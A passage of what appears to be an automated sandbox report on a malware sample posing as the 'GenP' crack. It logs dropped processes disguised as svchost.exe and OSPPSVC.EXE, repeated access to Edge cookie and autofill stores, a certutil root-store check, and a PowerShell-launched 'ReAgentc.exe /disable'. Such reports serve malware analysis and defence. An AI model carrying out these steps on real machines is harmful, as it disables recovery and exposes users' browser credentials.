"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE")31:T458,"svchost.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "OSPPSVC.EXE" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "OSPPSVC.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "")32:Te70,"svchost.exe" queries volume information of "C:\Program Files (x86)" at 00000000-00001656-00000C17-3016727425 "svchost.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00001656-00000C17-3016730305 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages" at 00000000-00005880-00000C17-3029464036 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00005880-00000C17-3029612019 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data" at 00000000-00005880-00000C17-3029699821 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" at 00000000-00005880-00000C17-3029734866 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Browser" at 00000000-00005880-00000C17-3030288785 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" at 00000000-00005880-00000C17-3030344859 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Ad Blocking" at 00000000-00005880-00000C17-3037085140 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent" at 00000000-00005880-00000C17-3037597130 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Autofill" at 00000000-00005880-00000C17-3037598020 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics" at 00000000-00005880-00000C17-3037598867 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation" at 00000000-00005880-00000C17-3037638016 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Crashpad" at 00000000-00005880-00000C17-3037638840 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default" at 00000000-00005880-00000C17-3037677130 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3038782352 "OSPPSVC.EXE" queries volume information of "C:\Users\0jBGIoH" at 00000000-00005880-00000C17-3040292497 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3040306110 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3040351103 "OSPPSVC.EXE" queries volume information of "C:\Users\0jBGIoH" at 00000000-00005880-00000C17-3040405169 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3040415737 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3040564710 "OSPPSVC.EXE" queries volume information of "C:\Users\0jBGIoH" at 00000000-00005880-00000C17-3040609535 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-3040620065 "OSPPSVC.EXE" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" at 00000000-00005880-00000C17-304066364033:T548,"svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "svchost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "svchost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "svchost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "svchost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "svchost.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "")34:T4c2,"Genpv4.2.1.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe"" - (UID: 00000000-00006860) "Genpv4.2.1.exe" called "CreateProcessW" with parameter ""%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe"" - (UID: 00000000-00006860) "GenP-v4.2.1.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c certutil -store Root mitmproxy >nul 2>&1" - (UID: 00000000-00007688) "svchost.exe" called "CreateProcessW" with parameter "%LOCALAPPDATA%\Programs\OSPPSVC.EXE" - (UID: 00000000-00001656) "cmd.exe" called "CreateProcessW" with parameter "certutil -store Root mitmproxy" - (UID: 00000000-00000788) "OSPPSVC.EXE" called "CreateProcessW" with parameter "powershell.exe" - (UID: 00000000-00005880) "OSPPSVC.EXE" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\OSPPSVC.EXE" -" - (UID: 00000000-00005880) "OSPPSVC.EXE" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\OSPPSVC.EXE" -" - (UID: 00000000-00005880) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\ReAgentc.exe" /disable" - (UID: 00000000-00006656)35:T5b79,"Genpv4.2.1.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00006860) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter OLE32.DLL (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter Advapi32.dll (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007688) "svchost.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001656) "svchost.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00001656) "OSPPSVC.EXE" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005880) "OSPPSVC.EXE" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00005880) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\49f607baf81088a9d539c06a3d4f866d\Microsoft.Management.Infrastr (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\e4e680611f69d26d704e61dd8bfa4ece\System.Configuration.ni.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\X86\MPCLIENT.DLL (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\X86\MsMpLics.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00006656) "powershell.exe" called "LoadLibrary" with a parameter 